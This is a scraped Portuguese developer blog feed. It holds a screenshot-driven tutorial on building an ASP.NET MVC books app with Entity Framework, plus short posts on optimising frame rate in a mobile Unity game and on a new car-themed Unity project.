<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxJzYrpXnAAatUWkE_TO81Rc03XNT-m2xyF3MwCHkkXytzQ756-l6uLnbTRhMleA6dBPsV7k6Y3JU4xz5IO24jiqkDiQUB26UgLlt77Lvc0pvOyTUTVRPXVmnDcXxNXxbE0K_YvhC5Cn8M/s1600/Captura+de+Ecr%25C3%25A3+%2528133%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxJzYrpXnAAatUWkE_TO81Rc03XNT-m2xyF3MwCHkkXytzQ756-l6uLnbTRhMleA6dBPsV7k6Y3JU4xz5IO24jiqkDiQUB26UgLlt77Lvc0pvOyTUTVRPXVmnDcXxNXxbE0K_YvhC5Cn8M/s320/Captura+de+Ecr%25C3%25A3+%2528133%2529.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirTZ706Hn6P40h5oME6L0cEuoXPEONIqVMzE9OaPKopHEon1aaPykO8CyS7UfZKzk8YQpJPp2UhknuZdPPUzk4kFfvb2cHuTDzhpDTBfXTl5_E5PSolebeGeYpPd6O07HYilXSwuAApxE2/s1600/Captura+de+Ecr%25C3%25A3+%2528134%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="249" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirTZ706Hn6P40h5oME6L0cEuoXPEONIqVMzE9OaPKopHEon1aaPykO8CyS7UfZKzk8YQpJPp2UhknuZdPPUzk4kFfvb2cHuTDzhpDTBfXTl5_E5PSolebeGeYpPd6O07HYilXSwuAApxE2/s320/Captura+de+Ecr%25C3%25A3+%2528134%2529.png" width="320" /></a></div>
<br />
<a name='more'></a>Agora vamos criar uma base de dados com uma tabela para livros, para isso clicamos com o botão direito na opção Data Connections na janela do Server Explorer e escolhemos Add Connection...<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMZQmET1R9SpapFBmcj-syeD7AXb-dfFZZ5doiia-EFNjT_Tz_doHb1YDKficzh1NzP4C5JNcYRz83wKNoMYHRFNuhOvT5mHeC1dtbBOGkdvyuznsfE48w3hS4x656VyRwwcpTSg2oeWHl/s1600/Captura+de+Ecr%25C3%25A3+%2528135%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMZQmET1R9SpapFBmcj-syeD7AXb-dfFZZ5doiia-EFNjT_Tz_doHb1YDKficzh1NzP4C5JNcYRz83wKNoMYHRFNuhOvT5mHeC1dtbBOGkdvyuznsfE48w3hS4x656VyRwwcpTSg2oeWHl/s320/Captura+de+Ecr%25C3%25A3+%2528135%2529.png" width="305" /></a></div>
<br />
Depois da base de dados criada vamos clicar com o botão direito do rato para adicionar uma tabela.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-G6MEA4wvXhdc9IEqCql5mWgg-mf0VuE8THlcYfrT0NMnUg2TLPiksEs-o4sterIVaFrUloUlE1OpSJzrDfq-BUDVsWV6F6GIX33W98ob7LBjA5D8AC0C1dbcB1Qa87YCZU9nV1-ZxxTE/s1600/Captura+de+Ecr%25C3%25A3+%2528136%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-G6MEA4wvXhdc9IEqCql5mWgg-mf0VuE8THlcYfrT0NMnUg2TLPiksEs-o4sterIVaFrUloUlE1OpSJzrDfq-BUDVsWV6F6GIX33W98ob7LBjA5D8AC0C1dbcB1Qa87YCZU9nV1-ZxxTE/s320/Captura+de+Ecr%25C3%25A3+%2528136%2529.png" width="320" /></a></div>
A tabela é criada com os seguintes campos.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7iWICzgjeNVyXljfdZWbWL7qUQi-YBRE5P_wakoFRKxAGBaklAzlPce_vvU-FK5VxvKokyZNFoZn6GIfpYYzQjyo_AOizQe-wtBTNdpgYZZNpIx-nS6w_xSEjzMAbCxCIgl789uXWIdGt/s1600/Captura+de+Ecr%25C3%25A3+%2528138%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7iWICzgjeNVyXljfdZWbWL7qUQi-YBRE5P_wakoFRKxAGBaklAzlPce_vvU-FK5VxvKokyZNFoZn6GIfpYYzQjyo_AOizQe-wtBTNdpgYZZNpIx-nS6w_xSEjzMAbCxCIgl789uXWIdGt/s320/Captura+de+Ecr%25C3%25A3+%2528138%2529.png" width="243" /></a></div>
Quando estiver pronto clique no botão Update para ver a seguinte janela.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja1FIIddHKWkkSimbGEh6x-gpwkEhcPXOgAuTu6S9KebGpdC_uC19-G-jqrZZTZcKhbRgqlBXr7Cw6cgS2Vfd_wUxzsg6Xp9oCcGFFUCbhsr7zboHWZB81lNP3asn4Z_C0HUvlMVjRDHfO/s1600/Captura+de+Ecr%25C3%25A3+%2528137%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja1FIIddHKWkkSimbGEh6x-gpwkEhcPXOgAuTu6S9KebGpdC_uC19-G-jqrZZTZcKhbRgqlBXr7Cw6cgS2Vfd_wUxzsg6Xp9oCcGFFUCbhsr7zboHWZB81lNP3asn4Z_C0HUvlMVjRDHfO/s320/Captura+de+Ecr%25C3%25A3+%2528137%2529.png" width="320" /></a></div>
Agora clique no botão Update Database, se não conseguir é porque tem erros no script sql.<br />
<br />
Após a execução do comando SQL deve conseguir ver a tabela criada na base de dados.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE-EIq3lEownc_b1MeQfSj-IIAWCZ8cCsbWE4VamOSbXgCdbTT7gug3LhzAFqi0EomcfzaveN2iXXWXuIPwSHJmu6I4FP8u-LK7KLSN5t_Vrv_l8xTBq_GGFEB2r_vf-18zVfTjGPi8Cns/s1600/Captura+de+Ecr%25C3%25A3+%2528139%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE-EIq3lEownc_b1MeQfSj-IIAWCZ8cCsbWE4VamOSbXgCdbTT7gug3LhzAFqi0EomcfzaveN2iXXWXuIPwSHJmu6I4FP8u-LK7KLSN5t_Vrv_l8xTBq_GGFEB2r_vf-18zVfTjGPi8Cns/s1600/Captura+de+Ecr%25C3%25A3+%2528139%2529.png" /></a></div>
Se não aparecer tente fazer o refresh, mas atenção pois o comando refresh é sensível ao contexto por isso faça o refresh com a opção tables selecionada.<br />
<br />
Com a tabela criada podemos voltar ao Solution Explorer e clicar com o botão direito do rato para adicionar um novo item do tipo ADO .Net Entity Data Model. Deve clicar na pasta models para que este modelo de dados seja guardado dentro da pasta.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6VcJcXQaDZLHOA-Xoo6s71PnRkSVJXk4vPyEdtTJEZSW13sCjoirHG3yM35WuHXmra5mwDRFe7RBEbZ5xgmLo1_vR0kzSgdXPLg1rJaMcMhuaex8M2JM-1NyvBKJcRHDVGojizSP5n8z4/s1600/Captura+de+Ecr%25C3%25A3+%2528140%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6VcJcXQaDZLHOA-Xoo6s71PnRkSVJXk4vPyEdtTJEZSW13sCjoirHG3yM35WuHXmra5mwDRFe7RBEbZ5xgmLo1_vR0kzSgdXPLg1rJaMcMhuaex8M2JM-1NyvBKJcRHDVGojizSP5n8z4/s320/Captura+de+Ecr%25C3%25A3+%2528140%2529.png" width="320" /></a></div>
Se a opção não existir no menu de contexto escolha adicionar novo item e na janela seguinte pesquisa ADO.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghK0unAVXH_h41uIp4K_tavBFsYueKEzkgZJWQI4TujIR0VNmdGJmtQpBDOFq9NiPhQAegYoomhx1DcrNDlxO_yGL07O8poRNXHivssJW_a3B1_2n_EWJSqo3cMWvEpSpohQN8XC1cARQm/s1600/Captura+de+Ecr%25C3%25A3+%2528141%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghK0unAVXH_h41uIp4K_tavBFsYueKEzkgZJWQI4TujIR0VNmdGJmtQpBDOFq9NiPhQAegYoomhx1DcrNDlxO_yGL07O8poRNXHivssJW_a3B1_2n_EWJSqo3cMWvEpSpohQN8XC1cARQm/s320/Captura+de+Ecr%25C3%25A3+%2528141%2529.png" width="320" /></a></div>
Atribuia um nome ao modelo de dados ou deixe ficar a opção previamente preenchida.<br />
De seguida deve escolher EF Designer from Database.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3PyVTDLvM8af6xAPief8onQx81a72vSZltuBeJroDSa0U5Emcf2pIge65tIzop3txGAQaAYCU8yO9gb7UiGhr0Tz843mPoTXgn8FpdanQmUfGibUyAR2zq_wuqMlkiN5rbx9FKxmhtZgK/s1600/Captura+de+Ecr%25C3%25A3+%2528142%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="289" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3PyVTDLvM8af6xAPief8onQx81a72vSZltuBeJroDSa0U5Emcf2pIge65tIzop3txGAQaAYCU8yO9gb7UiGhr0Tz843mPoTXgn8FpdanQmUfGibUyAR2zq_wuqMlkiN5rbx9FKxmhtZgK/s320/Captura+de+Ecr%25C3%25A3+%2528142%2529.png" width="320" /></a></div>
Indique a fonte de dados, que será a nossa base de dados.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpM-LD8N9ps3GhNfOWAO05B7mGiOl0Rf6bM0qOl0D6cFnBfCzj0Ra10VK3dk2C2JIDnhJcinM7nqBgxXJRIgVdvoCUIsliPF6xkr22hGUMrsPPxijiToGLRD43cRLhsdC5cgatzewA-GB1/s1600/Captura+de+Ecr%25C3%25A3+%2528143%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpM-LD8N9ps3GhNfOWAO05B7mGiOl0Rf6bM0qOl0D6cFnBfCzj0Ra10VK3dk2C2JIDnhJcinM7nqBgxXJRIgVdvoCUIsliPF6xkr22hGUMrsPPxijiToGLRD43cRLhsdC5cgatzewA-GB1/s320/Captura+de+Ecr%25C3%25A3+%2528143%2529.png" width="320" /></a></div>
<br />
De seguida pode escolher Sim para que a base de dados seja copiada para a pasta App_Data do projeto.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj50RUL4hZfNWfWN7TutTzbT2htWkb4CIuNA1JoKaaqwPpc2iRNgw5E2PSm-GBqpvwP1RQ7-U3R7_7Pykg6mFL9T3M2ul-eDFMHxYIHF5ZfDHPjkPlHvLI_I_62NkoYVbIESn8EJmn5GJ9S/s1600/Captura+de+Ecr%25C3%25A3+%2528144%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj50RUL4hZfNWfWN7TutTzbT2htWkb4CIuNA1JoKaaqwPpc2iRNgw5E2PSm-GBqpvwP1RQ7-U3R7_7Pykg6mFL9T3M2ul-eDFMHxYIHF5ZfDHPjkPlHvLI_I_62NkoYVbIESn8EJmn5GJ9S/s320/Captura+de+Ecr%25C3%25A3+%2528144%2529.png" width="320" /></a></div>
E por fim, ou quase, escolher a tabela books da base de dados.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXtve6AQoP-v9gg0vV9Qz9dF8KGVl_Rh52IAvA233Gk71YsN1gRUFK1feHkZFjyhNdbDl7gNED59H2vne0YBxSJ9fmcZs7mfhIn7R5V9qltIkg7FLu7xZJRWSnVMg256Jz5uSO_l1R3_Ex/s1600/Captura+de+Ecr%25C3%25A3+%2528145%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="287" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXtve6AQoP-v9gg0vV9Qz9dF8KGVl_Rh52IAvA233Gk71YsN1gRUFK1feHkZFjyhNdbDl7gNED59H2vne0YBxSJ9fmcZs7mfhIn7R5V9qltIkg7FLu7xZJRWSnVMg256Jz5uSO_l1R3_Ex/s320/Captura+de+Ecr%25C3%25A3+%2528145%2529.png" width="320" /></a></div>
Quando clicamos no botão Finish o Visual Studio vai construir um modelo de dados com base na tabela indicada.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLa8uHnPUi9WIPEZqzyDM6QjeeQvlBjXu23mWAorVsD6EYz26fl12E8TTwaKJV_wK7ehJg1o3aDQsYxPAPGy4x6481KzLRccW5UmdCdD52ZsGxhxqSvCEYjHBI5YR4GsK10C06R0-fSOoG/s1600/Captura+de+Ecr%25C3%25A3+%2528146%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLa8uHnPUi9WIPEZqzyDM6QjeeQvlBjXu23mWAorVsD6EYz26fl12E8TTwaKJV_wK7ehJg1o3aDQsYxPAPGy4x6481KzLRccW5UmdCdD52ZsGxhxqSvCEYjHBI5YR4GsK10C06R0-fSOoG/s1600/Captura+de+Ecr%25C3%25A3+%2528146%2529.png" /></a></div>
<br />
Agora devemos compilar o nosso projeto para que este modelo de dados possa ser utilizado.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjl9AMcAssIStQwEmzlKAsMXSsf2La_Xthfo0JVKiZVj3alDry6Bus50Hv_Fv2iF8xZ12G2EtyTrIs9r_Wof8DEygmksjW-d-GFVHNzGfAG2I68tQ5XwkUdmBdHgjDojrveQM0MXkJM6k_/s1600/Captura+de+Ecr%25C3%25A3+%2528150%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjl9AMcAssIStQwEmzlKAsMXSsf2La_Xthfo0JVKiZVj3alDry6Bus50Hv_Fv2iF8xZ12G2EtyTrIs9r_Wof8DEygmksjW-d-GFVHNzGfAG2I68tQ5XwkUdmBdHgjDojrveQM0MXkJM6k_/s320/Captura+de+Ecr%25C3%25A3+%2528150%2529.png" width="320" /></a></div>
O próximo passo é criar o controller com as opções pretendidas. Para isso utilizamos o botão direito na pasta Controllers e escolhemos adicionar Controller.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi28jXovrc6s0Bdau77JXbeNOlfNkeXi9E-elIHcxlEP6fRSctQhQdEXVriE55gxrhBsSvl0b9GhlexbHNxRdqTMvqcJ2UgmwJ31TmR9zM0_XmjP3S6r4Nurz3hwLTKBIRdhFZWUBZMxlcu/s1600/Captura+de+Ecr%25C3%25A3+%2528147%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi28jXovrc6s0Bdau77JXbeNOlfNkeXi9E-elIHcxlEP6fRSctQhQdEXVriE55gxrhBsSvl0b9GhlexbHNxRdqTMvqcJ2UgmwJ31TmR9zM0_XmjP3S6r4Nurz3hwLTKBIRdhFZWUBZMxlcu/s320/Captura+de+Ecr%25C3%25A3+%2528147%2529.png" width="320" /></a></div>
Na janela que surge de seguida devemos escolher MVC 5 controller with views, using Entity Framework.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAeZ5AzbU9Y-8BqqrYkNlEE3GF4R8iUePG_SgusUkHQtdM6Tdj5ySKFO4VzmGefPoRnY6nGVf-CtbdbFNzd3BLRa2s7AfCGVSu6Q8EqMPy9aEnmywdFu78B4EoToRzpYrDFMFZQNCXIusx/s1600/Captura+de+Ecr%25C3%25A3+%2528148%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAeZ5AzbU9Y-8BqqrYkNlEE3GF4R8iUePG_SgusUkHQtdM6Tdj5ySKFO4VzmGefPoRnY6nGVf-CtbdbFNzd3BLRa2s7AfCGVSu6Q8EqMPy9aEnmywdFu78B4EoToRzpYrDFMFZQNCXIusx/s320/Captura+de+Ecr%25C3%25A3+%2528148%2529.png" width="320" /></a></div>
De seguida devemos indicar o modelo de dados, a ligação à bd e o nome a dar ao controller.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5JYo8et6TiCD-_dt4bzhrVrGV7TwMaipcxWYLz3efexVooT-OXSuPMmB9popDNzinUVI16oqkyNfl5iUGrXbd94voeHKefPVqE0OnCn1zEFgyHqEth2wsxygwDFWlkP_3iR0Hq-owkYGV/s1600/Captura+de+Ecr%25C3%25A3+%2528151%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5JYo8et6TiCD-_dt4bzhrVrGV7TwMaipcxWYLz3efexVooT-OXSuPMmB9popDNzinUVI16oqkyNfl5iUGrXbd94voeHKefPVqE0OnCn1zEFgyHqEth2wsxygwDFWlkP_3iR0Hq-owkYGV/s320/Captura+de+Ecr%25C3%25A3+%2528151%2529.png" width="320" /></a></div>
<br />
Agora é só esperar.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxyP2vPT500L1q4sO3r3SH-WPYLdQYHHCvkGipdWpGyzRhUiDwo74LWsr9r8wTV0tM6ZXwqSjCXmtFWY9EG7yKJ0dE7rVKifiqVaNe_3Maw5LfoKubDtWDohMmqw3KTIL8b3op-Yu4KrJa/s1600/Captura+de+Ecr%25C3%25A3+%2528152%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="99" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxyP2vPT500L1q4sO3r3SH-WPYLdQYHHCvkGipdWpGyzRhUiDwo74LWsr9r8wTV0tM6ZXwqSjCXmtFWY9EG7yKJ0dE7rVKifiqVaNe_3Maw5LfoKubDtWDohMmqw3KTIL8b3op-Yu4KrJa/s320/Captura+de+Ecr%25C3%25A3+%2528152%2529.png" width="320" /></a></div>
<br />
No final deste processo temos um controller com o código pronto e as respetivas views.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZLd4GXze5EZ3y5a3y69Z4vvMhuqxNpaG6TvvLqNTaSEhXBIGhfmO3D4nAdB47fTy9akdHObvdFG4Lh7HFo6avKbrwfAsGqwlGI63XBbJLf1mxjdf6Rd55b6XKrfhAQCnYlJGxyGZhauu8/s1600/Captura+de+Ecr%25C3%25A3+%2528153%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZLd4GXze5EZ3y5a3y69Z4vvMhuqxNpaG6TvvLqNTaSEhXBIGhfmO3D4nAdB47fTy9akdHObvdFG4Lh7HFo6avKbrwfAsGqwlGI63XBbJLf1mxjdf6Rd55b6XKrfhAQCnYlJGxyGZhauu8/s320/Captura+de+Ecr%25C3%25A3+%2528153%2529.png" width="320" /></a></div>
<br />
<br />PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-17306229567190192912016-03-25T09:27:00.000-07:002016-03-25T09:27:21.467-07:00Jogos móveis == otimizaçãoFazer um jogo para plataformas móveis não é fácil, por isso é melhor pensar na otimização da aplicação desde o início.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgICvbzPg6S39iynqBwm-jT1HjmmMAxksfg1TtOxNxPiLhSyz_AhwSvofkCipnxtAOHcESar6nEObaLZmOdK_llwwPq_WK3eYmmgy0oMKFJpdplefteBmFRW39qcrQZsNnXvy-G1bHlxqUX/s1600/Captura+de+Ecr%25C3%25A3+%2528122%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgICvbzPg6S39iynqBwm-jT1HjmmMAxksfg1TtOxNxPiLhSyz_AhwSvofkCipnxtAOHcESar6nEObaLZmOdK_llwwPq_WK3eYmmgy0oMKFJpdplefteBmFRW39qcrQZsNnXvy-G1bHlxqUX/s320/Captura+de+Ecr%25C3%25A3+%2528122%2529.png" width="320" /></a></div>
<br />
Depois de decidir que ia fazer um jogo para plataformas móveis e de ter um estrutura simples a funcionar olhei para a performance (frames por segundo) e as coisas não estavam nada bonitas. Tinha um nível quase sem nada, para além de um terreno e o melhor que conseguia obter eram 8 frames por segundo.<br />
<br />
Então tratei de pegar no saco de truques de otimização e comecei a testar:<br />
- primeiro simplifiquei os modelos, menos vértices, menos arestas, menos faces, significa mais performance;<br />
- depois alterei os shaders do Unity para mobile;<br />
- como tinha um terreno decidi olhar para as opções deste e encontrei algumas opções interessantes, como:<br />
- pixel erro;<br />
- base map distance;<br />
- detail distance;<br />
- também tenho uma luz (directional light) e alterei:<br />
- baking para baked;<br />
- shadows para hard shadows;<br />
<br />
No código otimizei:<br />
- concatenação de strings, nunca fazer sem um stringbuilder;<br />
- chamadas a funções, evitar sempre que possível, especialmente na função update;<br />
- substituir algumas funções por simples otimizações como a função Mathf.Abs que substitui por x = (x>=0 ? x : -x) <br />
<br />
Depois destas pequenas alterações passei a ter 20 frames por segundo! Nada mau, especialmente tendo em conta que já não tenho um nível vazio.<br />
<br />
Ainda existem algumas otimizações ao nível do motor de física, mas ficam para mais tarde.PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-82144731587172094802016-03-21T04:55:00.002-07:002016-03-21T04:55:33.828-07:00Novo projeto pelo caminho mobileNovo projeto pelo caminho mobile<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAjw40G472QY5eniMJXIw0ixyvbBtcDhPaoGLv_jEoUhKvRdI3W4mZjfs_cYuHSpp82y_aTugJ43oEPV6t3TOiCV6Fh72xyBE3rAOe0fpkJX7AerwPxQqnb1PzcD32y9kfTraM0zYFWu-b/s1600/Screenshot_2016-03-21-11-48-14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAjw40G472QY5eniMJXIw0ixyvbBtcDhPaoGLv_jEoUhKvRdI3W4mZjfs_cYuHSpp82y_aTugJ43oEPV6t3TOiCV6Fh72xyBE3rAOe0fpkJX7AerwPxQqnb1PzcD32y9kfTraM0zYFWu-b/s320/Screenshot_2016-03-21-11-48-14.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDQaVxhYzQTfCei9bDJ3Tf4F_tP7-A2HUTzg1UcACccL3qh1ruOrdktVH_rJz0BhqRfoEgW1fDWR6oEbX2Ag_8HZZgeYvAzrwCTdpfPXQybEpTpxHltT1RnQmXXwIpDk2iYIQrlqtFtVCB/s1600/Screenshot_2016-03-21-11-48-53.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDQaVxhYzQTfCei9bDJ3Tf4F_tP7-A2HUTzg1UcACccL3qh1ruOrdktVH_rJz0BhqRfoEgW1fDWR6oEbX2Ag_8HZZgeYvAzrwCTdpfPXQybEpTpxHltT1RnQmXXwIpDk2iYIQrlqtFtVCB/s320/Screenshot_2016-03-21-11-48-53.jpg" width="320" /></a></div>
<br />PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-22664934382947538692016-03-12T09:14:00.001-08:002016-03-12T09:14:42.929-08:00Novo projeto em Unity 3DHoje vou apresentar o novo projeto que estou a desenvolver.<br />
<br />
Com base no post que ensinou a criar um carro em Unity 3D estou a criar um jogo sobre carros ou melhor sobre transportes. A ideia é simples: o jogador começa com um carro e uma missão, quanto termina a missão recebe dinheiro para investir noutro veículo.<br />
<br />
Aqui estão algumas imagens:<br />
<br />
- o primeiro carro no Unity<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvfOzsLAZyHN6QQpbHayWQArEgVa_i9ZmX6c27adO6gP4FiiU0Vn-w1xL_CVzGLVoF1EkV6cEi8iaZGMlE2wNN5OJRAjYDQEXUoaCMYU-vHQkzXQ45d5eLRUKasbFxmYhbzDxqIun5MPhX/s1600/Captura+de+Ecr%25C3%25A3+%2528103%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvfOzsLAZyHN6QQpbHayWQArEgVa_i9ZmX6c27adO6gP4FiiU0Vn-w1xL_CVzGLVoF1EkV6cEi8iaZGMlE2wNN5OJRAjYDQEXUoaCMYU-vHQkzXQ45d5eLRUKasbFxmYhbzDxqIun5MPhX/s320/Captura+de+Ecr%25C3%25A3+%2528103%2529.png" width="320" /></a></div>
<br />
- a criar o carro no blender <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglKj-hJIqWljOgh2mIGl_AociGhN2RYj1GpQuhsRXa7Rupb0qp1p5_EKkTjAgsZP_2AyFWiZbXGEVERCt0Ky7iqqjfUPfivPJC0mxSsPKa9fyalAXBc3hjrA2aqvyPon7OhWd81dWHTuXk/s1600/Captura+de+Ecr%25C3%25A3+%2528104%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglKj-hJIqWljOgh2mIGl_AociGhN2RYj1GpQuhsRXa7Rupb0qp1p5_EKkTjAgsZP_2AyFWiZbXGEVERCt0Ky7iqqjfUPfivPJC0mxSsPKa9fyalAXBc3hjrA2aqvyPon7OhWd81dWHTuXk/s320/Captura+de+Ecr%25C3%25A3+%2528104%2529.png" width="320" /></a></div>
<br />
- a preparar o mapa UV <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB2VbizwdvyoAKtaiBg_Hmx31faFzdSZrd79MwU87ve9Z3tjXV8UHQ8VrpWtwxBCH-RuiJm3E8HpOouXKIJJgXZJ5-5dIiMqB2k6MV2v8L25YAjA8DFDBQAy9qXu9ZUZmkLvWpJHOpoYMa/s1600/Captura+de+Ecr%25C3%25A3+%2528105%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB2VbizwdvyoAKtaiBg_Hmx31faFzdSZrd79MwU87ve9Z3tjXV8UHQ8VrpWtwxBCH-RuiJm3E8HpOouXKIJJgXZJ5-5dIiMqB2k6MV2v8L25YAjA8DFDBQAy9qXu9ZUZmkLvWpJHOpoYMa/s320/Captura+de+Ecr%25C3%25A3+%2528105%2529.png" width="320" /></a></div>
<br />
- bonito, não? <br />
<div class="separator" style="clear: both; text-align: center;">
